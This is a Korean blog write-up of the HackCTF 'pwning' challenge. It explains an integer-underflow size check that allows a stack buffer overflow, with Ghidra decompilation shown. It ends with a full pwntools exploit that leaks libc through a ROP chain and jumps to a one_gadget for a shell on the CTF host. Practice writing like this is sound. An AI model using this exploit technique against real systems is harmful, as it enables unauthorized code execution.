HackCTF pwning Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

Program Analyze

대상 파일을 다운로드 받은 후 실행하면 몇 byte 만큼 입력받을 것인지 묻는 내용과 함께 입력 대기 상태로 들어갑니다. case 분석을 위해 여러 내용들을 입력한 결과 문자가 아닌 숫자를 입력해야 정상적으로 동작을 하였으며, 특정 크기가 초과될 경우 size가 너무 크다며 종료 되었습니다.

ghidra를 사용하여 확인한 내용의 경우 33 이상의 size를 입력하려고 시도하였을 경우 error를 발생시키는 것을 확인할 수 있었습니다.

void vuln(void)

{
  char local_30 [32];
  int local_10;
  
  printf("How many bytes do you want me to read? ");
  get_n(local_30,4);
  local_10 = atoi(local_30);
  if (local_10 < 0x21) {
    printf("Ok, sounds good. Give me %u bytes of data!\n",local_10);
    get_n(local_30,local_10);
    printf("You said: %s\n",local_30);
  }
  else {
    printf("No! That size (%d) is too large!\n",local_10);
  }
  return;
}

main 함수의 경우 vuln 함수를 호출하는 것 외의 특별한 동작이 없었으며 대부분 vuln 함수를 위주로 진행되었습니다. local_30의 크기는 32 byte였으며 33 미만의 size를 입력하였을 경우에만 다시 get_n() 함수를 이용하여 입력받는 것을 확인할 수 있었습니다.

특이한 점은, 입력을 받을 때 사용자 함수인 get_n()을 사용한다는 점과 최대 size에 대한 검사가 존재하여 일반적으로는 ret 주소까지 덮기 위한 size의 확보가 불가능한 점이었습니다.


Searching Vulnerability

먼저 get_n() 함수의 경우 내부 logic에 의해 getchar() 함수를 사용하여 1 byte씩 입력받고 있음을 확인하였습니다.

void get_n(int param_1,uint param_2)

{
  char cVar1;
  int iVar2;
  uint local_10;
  
  local_10 = 0;
  while( true ) {
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;
    *(char *)(param_1 + local_10) = cVar1;
    local_10 = local_10 + 1;
  }
  *(undefined *)(local_10 + param_1) = 0;
  return;
}

내부 logic에서는 getchar()로 입력받은 값을 EOL 문자에 해당되는지 검사 후, 이를 만나기 전까지 입력받는 값을 순차적으로 저장하는 함수였습니다.

get_n() 함수 내에 별도의 취약점이 없기 때문에 입력 size를 조작하는 것에 Key points를 두었습니다.

주로 int형을 사용할 때 적용할 수 있는 방법으로 overflow와 underflow가 있는만큼 최소값에 대한 검사는 없으므로 음수 값을 적용해보았습니다.

root@e60a28c09eb6:~/hackctf/Pwning# ./pwning
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

'-1'을 입력하였음에도 underflow가 일어난 것을 통해 unsigned int형을 사용 중인 것으로 추측할 수 있었습니다.

우선 넉넉한 buffer 공간은 확보하였으므로 이후 shell을 획득하는 것이 관건이었습니다. NX bit가 적용되었기에 shellcode를 직접 실행하는 것은 불가능하였으며 ROP를 사용하려고 시도하였으나 library 주소를 leak하는데 어려움이 있어 exploit을 성공하지 못하였습니다.

자력으로 exploit은 실패하였고 다른 Write-Up을 참고하여 풀이를 진행한 결과 shell을 획득할 수 있었습니다. ROP와 one_gadget을 사용하여 진행하였습니다.


Exploit

보통 ROP를 사용하게 되면 library 파일도 제공해주는 반면 library 파일을 제공해주지 않기에 Write-Up을 참조하고도 약간의 삽질이 있었습니다. 물론 library search database도 이용해보았으나 끝 세 자리가 같지만 그 외 자리가 다른 library 파일이 여러 개 있는 것을 보아 Write-Up을 통해서 정확히 어떤 파일이었는지 확인하지 못하였다면 더 많은 삽질이 행해졌을 것 같습니다.

#!/usr/bin/python3
 
 from pwn import *
 
 p = remote("ctf.j0n9hyun.xyz", 3019)
 e = ELF("./pwning")
 #context.log_level = 'debug'
 
 printf = e.symbols['printf']
 padding = b"A"*48
 p1r = 0x80484e1
 vuln = e.symbols['vuln']
 
 # ROP Chain
 
 chain = p32(printf)
 chain += p32(p1r)
 chain += p32(e.got['printf'])
 chain += p32(vuln)
 
 # S#1
 
 payload = padding
 payload += chain
 
 p.sendlineafter("? ", "-1")
 p.recvline()
 p.sendline(payload)
 p.recvline()
 
 leaked = u32(p.recv(4))
 libcBase = leaked - 0x49020
 
 # S#2
 
 gadget = [0x3a80c, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
 
 payload = padding
 payload += p32(libcBase + gadget[1])

 p.sendlineafter("? ", "-1")
 p.recvline()
 p.sendline(payload)

 log.info("printf() Address: " + hex(printf))
 log.info("Leaked printf() Address: " + hex(leaked))
 log.info("Libc base Address: " + hex(libcBase))

 p.interactive()

Reference

profile
To be

0개의 댓글